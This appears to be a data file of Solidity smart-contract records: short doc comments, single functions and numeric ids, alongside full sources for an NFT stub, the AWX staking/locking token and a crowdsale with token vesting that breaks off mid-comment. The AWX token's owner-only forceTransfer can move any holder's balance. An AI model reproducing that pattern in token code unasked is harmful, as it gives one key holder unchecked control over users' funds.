//║╔╗║══╣║─║║╔╗║╔╗║╔╣╔╗║║╔╗║╔╗║║║║║║═╣╔╣║─║║ // //║╚╝╠══║╚═╝║╚╝║╚╝║║║╚╝║║╚╝║╔╗║╚╣╚╣║═╣║║╚═╝║ // //║╔═╩══╩═╗╔╩══╩══╩╝╚═╗║╚═╗╠╝╚╩═╩═╩══╩╝╚═╗╔╝ // //║║────╔═╝║────────╔═╝║╔═╝║───────────╔═╝║ // //╚╝────╚══╝────────╚══╝╚══╝───────────╚══╝ // /////////////////////////////////////////////// contract Psyborg is ERC721Creator { constructor() ERC721Creator("Psyborg.Gallery", "PSYG") {} }
Indicates weither any token exist with a given id, or not./
function exists(uint256 id) public view virtual returns (bool) { return tokenCreators[id] != address(0); }
6,574,785
pragma solidity ^0.5.4; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when `owner` unlocks tokens for a wallet */ event Unlock(address indexed target, uint256 amount); /** * @dev Emitted when a wallet receives locked tokens. */ event Lock(address indexed target, uint256 amount); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Emitted when the `owner` initiates a force transfer * * Note that `value` may be zero. * Note that `details` may be zero. */ event ForceTransfer(address indexed from, address indexed to, uint256 value, bytes32 details); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) private _locked; event StakeAdded(address indexed account); event StakeTokens(address indexed account, uint256 amount); event UnstakeTokens(address indexed account, uint256 amount); mapping (address => bool) private _stakeable; mapping (address => uint256) private _staked; mapping (address => uint256) private _stakeTimestamp; bool public stakeOpen = false; uint256 public stakeDuration = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Forced transfer from one account to another. Will contain details about AML procedure. */ function _forceTransfer(address sender, address recipient, uint256 amount, bytes32 details) internal { _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); emit ForceTransfer(sender, recipient, amount, details); } /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account].add(_locked[account]).add(_staked[account]); } function internalBalance(address account) public view returns (uint256) { return _balances[account]; } function internalLocked(address account) public view returns (uint256) { return _locked[account]; } function internalStaked(address account) public view returns (uint256) { return _staked[account]; } function canStake(address account) public view returns (bool) { return (stakeOpen && _stakeable[account]); } function getStakeAmount(address account) public view returns (uint256) { return _staked[account]; } function getStakeTime(address account) public view returns (uint256) { return _stakeTimestamp[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function stakeTokens() public { require(stakeOpen, "Staking is not open"); require(_stakeable[msg.sender], "You are not invited to staking"); uint256 stake = 0; if (_balances[msg.sender] > 0) { stake = stake.add(_balances[msg.sender]); _balances[msg.sender] = 0; } if (_locked[msg.sender] > 0) { stake = stake.add(_locked[msg.sender]); _locked[msg.sender] = 0; } require(stake>500 ether, "Minimum staking 500 AWX"); _staked[msg.sender] = stake; _stakeTimestamp[msg.sender] = block.timestamp; _stakeable[msg.sender] = false; emit StakeTokens(msg.sender,stake); } function unstakeTokens() public { require(_staked[msg.sender] > 0,"You don't have any staked tokens"); require((_stakeTimestamp[msg.sender] + stakeDuration) < block.timestamp,"Staking not finished"); uint256 staked = _staked[msg.sender]; _locked[msg.sender] = _locked[msg.sender].add(staked); _staked[msg.sender] = 0; emit UnstakeTokens(msg.sender,staked); } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Transfer tokens from balance to locked balance of another wallet. */ function _transferToLocked(address sender, address recipient, uint256 amount) internal { _balances[sender] = _balances[sender].sub(amount); _locked[recipient] = _locked[recipient].add(amount); emit Transfer(sender, recipient, amount); emit Lock(recipient, amount); } /** * @dev Owner can unlock wallet balance */ function _unlockBalance(address target, uint256 amount) internal { _balances[target] = _balances[target].add(amount); _locked[target] = _locked[target].sub(amount); emit Unlock(target, amount); } function _addToStake(address account) internal { _stakeable[account] = true; emit StakeAdded(account); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } } // File: openzeppelin-solidity/contracts/access/Roles.sol /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: openzeppelin-solidity/contracts/access/roles/PauserRole.sol contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Pausable.sol /** * @title Pausable token * @dev ERC20 modified with pausable transfers. */ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/token/AWX.sol /** * @title AWX * @notice ERC20 token implementation. */ contract AWX is ERC20Pausable, Ownable { /** * @dev The entire cap will be minted at deployment to owner. */ uint256 public constant cap = 30000000 ether; /** * @notice ERC20 convention. */ uint8 public constant decimals = 18; /** * @notice ERC20 convention. */ string public name = "AurusDeFi"; /** * @notice ERC20 convention. */ string public symbol = "AWX"; /** * @dev Mints the entire cap to the owner. */ constructor() public { super._mint(owner(), cap); } /** * @dev Change the name and symbol of the token */ function setTokenDetails(string memory _name, string memory _symbol, bool _stakeOpen, uint256 _stakeDuration) public onlyOwner { name = _name; symbol = _symbol; stakeOpen = _stakeOpen; stakeDuration = _stakeDuration; } /** * @dev An @param account that is whitelisted will be able to transfer the coin. */ function addToStake(address account) public onlyOwner { super._addToStake(account); } /** * @dev Transfer from balance to balance */ function _transfer(address sender, address recipient, uint256 amount) internal { super._transfer(sender, recipient, amount); } /** * @dev Transfer from balance to balance */ function unlockBalance(address target, uint256 amount) external onlyOwner { super._unlockBalance(target, amount); } /** * @dev Force a transfer between 2 accounts. AML logs on https://aurus.io/aml */ function forceTransfer(address sender, address recipient, uint256 amount, bytes32 details) external onlyOwner { _forceTransfer(sender,recipient,amount,details); } /** * @dev Force a transfer between 2 accounts. AML logs on https://aurus.io/aml */ function transferToLocked(address recipient, uint256 amount) public whenNotPaused { _transferToLocked(msg.sender,recipient,amount); } }
Transfer from balance to balance/
function unlockBalance(address target, uint256 amount) external onlyOwner { super._unlockBalance(target, amount); }
12,121,953
pragma solidity 0.4.24; /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLibExt { function times(uint a, uint b) public pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) public pure returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) public pure returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) public pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /* * Haltable * * Abstract contract that allows children to implement an * emergency stop mechanism. Differs from Pausable by causing a throw when in halt mode. * * * Originally envisioned in FirstBlood ICO contract. */ contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) revert(); _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) revert(); _; } modifier onlyInEmergency { if (!halted) revert(); _; } // called by the owner on emergency, triggers stopped state function halt() external onlyOwner { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner onlyInEmergency { halted = false; } } /** * Interface for defining crowdsale pricing. */ contract PricingStrategy { address public tier; /** Interface declaration. */ function isPricingStrategy() public pure returns (bool) { return true; } /** Self check if all references are correctly set. * * Checks that pricing strategy matches crowdsale parameters. */ function isSane() public pure returns (bool) { return true; } /** * @dev Pricing tells if this is a presale purchase or not. @return False by default, true if a presale purchaser */ function isPresalePurchase() public pure returns (bool) { return false; } /* How many weis one token costs */ function updateRate(uint oneTokenInCents) public; /** * When somebody tries to buy tokens for X eth, calculate how many tokens they get. * * * @param value - What is the value of the transaction send in as wei * @param tokensSold - how much tokens have been sold this far * @param decimals - how many decimal units the token has * @return Amount of tokens the investor receives */ function calculatePrice(uint value, uint tokensSold, uint decimals) public view returns (uint tokenAmount); function oneTokenInWei(uint tokensSold, uint decimals) public view returns (uint); } /** * Finalize agent defines what happens at the end of succeseful crowdsale. * * - Allocate tokens for founders, bounties and community * - Make tokens transferable * - etc. */ contract FinalizeAgent { bool public reservedTokensAreDistributed = false; function isFinalizeAgent() public pure returns(bool) { return true; } /** Return true if we can run finalizeCrowdsale() properly. * * This is a safety check function that doesn't allow crowdsale to begin * unless the finalizer has been set up properly. */ function isSane() public view returns (bool); function distributeReservedTokens(uint reservedTokensDistributionBatch) public; /** Called once by crowdsale finalize() if the sale was success. */ function finalizeCrowdsale() public; /** * Allow to (re)set Token. */ function setCrowdsaleTokenExtv1(address _token) public; } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * A token that defines fractional units as decimals. */ contract FractionalERC20Ext is ERC20 { uint public decimals; uint public minCap; } contract Allocatable is Ownable { /** List of agents that are allowed to allocate new tokens */ mapping (address => bool) public allocateAgents; event AllocateAgentChanged(address addr, bool state ); /** * Owner can allow a crowdsale contract to allocate new tokens. */ function setAllocateAgent(address addr, bool state) public onlyOwner { allocateAgents[addr] = state; emit AllocateAgentChanged(addr, state); } modifier onlyAllocateAgent() { //Only crowdsale contracts are allowed to allocate new tokens require(allocateAgents[msg.sender]); _; } } /** * Contract to enforce Token Vesting */ contract TokenVesting is Allocatable { using SafeMathLibExt for uint; address public crowdSaleTokenAddress; /** keep track of total tokens yet to be released, * this should be less than or equal to UTIX tokens held by this contract. */ uint256 public totalUnreleasedTokens; // default vesting parameters uint256 private startAt = 0; uint256 private cliff = 1; uint256 private duration = 4; uint256 private step = 300; //15778463; //2592000; bool private changeFreezed = false; struct VestingSchedule { uint256 startAt; uint256 cliff; uint256 duration; uint256 step; uint256 amount; uint256 amountReleased; bool changeFreezed; } mapping (address => VestingSchedule) public vestingMap; event VestedTokensReleased(address _adr, uint256 _amount); constructor(address _tokenAddress) public { crowdSaleTokenAddress = _tokenAddress; } /** Modifier to check if changes to vesting is freezed */ modifier changesToVestingFreezed(address _adr) { require(vestingMap[_adr].changeFreezed); _; } /** Modifier to check if changes to vesting is not freezed yet */ modifier changesToVestingNotFreezed(address adr) { require(!vestingMap[adr].changeFreezed); // if vesting not set then also changeFreezed will be false _; } /** Function to set default vesting schedule parameters. */ function setDefaultVestingParameters( uint256 _startAt, uint256 _cliff, uint256 _duration, uint256 _step, bool _changeFreezed) public onlyAllocateAgent { // data validation require(_step != 0); require(_duration != 0); require(_cliff <= _duration); startAt = _startAt; cliff = _cliff; duration = _duration; step = _step; changeFreezed = _changeFreezed; } /** Function to set vesting with default schedule. */ function setVestingWithDefaultSchedule(address _adr, uint256 _amount) public changesToVestingNotFreezed(_adr) onlyAllocateAgent { setVesting(_adr, startAt, cliff, duration, step, _amount, changeFreezed); } /** Function to set/update vesting schedule. PS - Amount cannot be changed once set */ function setVesting( address _adr, uint256 _startAt, uint256 _cliff, uint256 _duration, uint256 _step, uint256 _amount, bool _changeFreezed) public changesToVestingNotFreezed(_adr) onlyAllocateAgent { VestingSchedule storage vestingSchedule = vestingMap[_adr]; // data validation require(_step != 0); require(_amount != 0 || vestingSchedule.amount > 0); require(_duration != 0); require(_cliff <= _duration); //if startAt is zero, set current time as start time. if (_startAt == 0) _startAt = block.timestamp; vestingSchedule.startAt = _startAt; vestingSchedule.cliff = _cliff; vestingSchedule.duration = _duration; vestingSchedule.step = _step; // special processing for first time vesting setting if (vestingSchedule.amount == 0) { // check if enough tokens are held by this contract ERC20 token = ERC20(crowdSaleTokenAddress); require(token.balanceOf(this) >= totalUnreleasedTokens.plus(_amount)); totalUnreleasedTokens = totalUnreleasedTokens.plus(_amount); vestingSchedule.amount = _amount; } vestingSchedule.amountReleased = 0; vestingSchedule.changeFreezed = _changeFreezed; } function isVestingSet(address adr) public view returns (bool isSet) { return vestingMap[adr].amount != 0; } function freezeChangesToVesting(address _adr) public changesToVestingNotFreezed(_adr) onlyAllocateAgent { require(isVestingSet(_adr)); // first check if vesting is set vestingMap[_adr].changeFreezed = true; } /** Release tokens as per vesting schedule, called by contributor */ function releaseMyVestedTokens() public changesToVestingFreezed(msg.sender) { releaseVestedTokens(msg.sender); } /** Release tokens as per vesting schedule, called by anyone */ function releaseVestedTokens(address _adr) public changesToVestingFreezed(_adr) { VestingSchedule storage vestingSchedule = vestingMap[_adr]; // check if all tokens are not vested require(vestingSchedule.amount.minus(vestingSchedule.amountReleased) > 0); // calculate total vested tokens till now uint256 totalTime = block.timestamp - vestingSchedule.startAt; uint256 totalSteps = totalTime / vestingSchedule.step; // check if cliff is passed require(vestingSchedule.cliff <= totalSteps); uint256 tokensPerStep = vestingSchedule.amount / vestingSchedule.duration; // check if amount is divisble by duration if (tokensPerStep * vestingSchedule.duration != vestingSchedule.amount) tokensPerStep++; uint256 totalReleasableAmount = tokensPerStep.times(totalSteps); // handle the case if user has not claimed even after vesting period is over or amount was not divisible if (totalReleasableAmount > vestingSchedule.amount) totalReleasableAmount = vestingSchedule.amount; uint256 amountToRelease = totalReleasableAmount.minus(vestingSchedule.amountReleased); vestingSchedule.amountReleased = vestingSchedule.amountReleased.plus(amountToRelease); // transfer vested tokens ERC20 token = ERC20(crowdSaleTokenAddress); token.transfer(_adr, amountToRelease); // decrement overall unreleased token count totalUnreleasedTokens = totalUnreleasedTokens.minus(amountToRelease); emit VestedTokensReleased(_adr, amountToRelease); } /** * Allow to (re)set Token. */ function setCrowdsaleTokenExtv1(address _token) public onlyAllocateAgent { crowdSaleTokenAddress = _token; } } /** * Abstract base contract for token sales. * * Handle * - start and end dates * - accepting investments * - minimum funding goal and refund * - various statistics during the crowdfund * - different pricing strategies * - different investment policies (require server side customer id, allow only whitelisted addresses) * */ contract CrowdsaleExt is Allocatable, Haltable { /* Max investment count when we are still allowed to change the multisig address */ uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLibExt for uint; /* The token we are selling */ FractionalERC20Ext public token; /* How we are going to price our offering */ PricingStrategy public pricingStrategy; /* Post-success callback */ FinalizeAgent public finalizeAgent; TokenVesting public tokenVesting; /* name of the crowdsale tier */ string public name; /* tokens will be transfered from this address */ address public multisigWallet; /* if the funding goal is not reached, investors may withdraw their funds */ uint public minimumFundingGoal; /* the UNIX timestamp start date of the crowdsale */ uint public startsAt; /* the UNIX timestamp end date of the crowdsale */ uint public endsAt; /* the number of tokens already sold through this contract*/ uint public tokensSold = 0; /* How many wei of funding we have raised */ uint public weiRaised = 0; /* How many distinct addresses have invested */ uint public investorCount = 0; /* Has this crowdsale been finalized */ bool public finalized; bool public isWhiteListed; /* Token Vesting Contract */ address public tokenVestingAddress; address[] public joinedCrowdsales; uint8 public joinedCrowdsalesLen = 0; uint8 public joinedCrowdsalesLenMax = 50; struct JoinedCrowdsaleStatus { bool isJoined; uint8 position; } mapping (address => JoinedCrowdsaleStatus) public joinedCrowdsaleState; /** How much ETH each address has invested to this crowdsale */ mapping (address => uint256) public investedAmountOf; /** How much tokens this crowdsale has credited for each investor address */ mapping (address => uint256) public tokenAmountOf; struct WhiteListData { bool status; uint minCap; uint maxCap; } //is crowdsale updatable bool public isUpdatable; /** Addresses that are allowed to invest even before ICO offical opens. For testing, for ICO partners, etc. */ mapping (address => WhiteListData) public earlyParticipantWhitelist; /** List of whitelisted addresses */ address[] public whitelistedParticipants; /** This is for manul testing for the interaction from owner wallet. You can set it to any value and inspect this in blockchain explorer to see that crowdsale interaction works. */ uint public ownerTestValue; /** State machine * * - Preparing: All contract initialization calls and variables have not been set yet * - Prefunding: We have not passed start time yet * - Funding: Active crowdsale * - Success: Minimum funding goal reached * - Failure: Minimum funding goal not reached before ending time * - Finalized: The finalized has been called and succesfully executed */ enum State { Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized } // A new investment was made event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); // Address early participation whitelist status changed event Whitelisted(address addr, bool status, uint minCap, uint maxCap); event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); // Crowdsale start time has been changed event StartsAtChanged(uint newStartsAt); // Crowdsale end time has been changed event EndsAtChanged(uint newEndsAt); constructor(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed, address _tokenVestingAddress) public { owner = msg.sender; name = _name; tokenVestingAddress = _tokenVestingAddress; token = FractionalERC20Ext(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if (multisigWallet == 0) { revert(); } if (_start == 0) { revert(); } startsAt = _start; if (_end == 0) { revert(); } endsAt = _end; // Don't mess the dates if (startsAt >= endsAt) { revert(); } // Minimum funding goal can be zero minimumFundingGoal = _minimumFundingGoal; isUpdatable = _isUpdatable; isWhiteListed = _isWhiteListed; } /** * Don't expect to just send in money and get tokens. */ function() external payable { buy(); } /** * The basic entry point to participate the crowdsale process. * * Pay for funding, get invested tokens back in the sender address. */ function buy() public payable { invest(msg.sender); } /** * Allow anonymous contributions to this crowdsale. */ function invest(address addr) public payable { investInternal(addr, 0); } /** * Make an investment. * * Crowdsale must be running for one to invest. * We must have not pressed the emergency brake. * * @param receiver The Ethereum address who receives the tokens * @param customerId 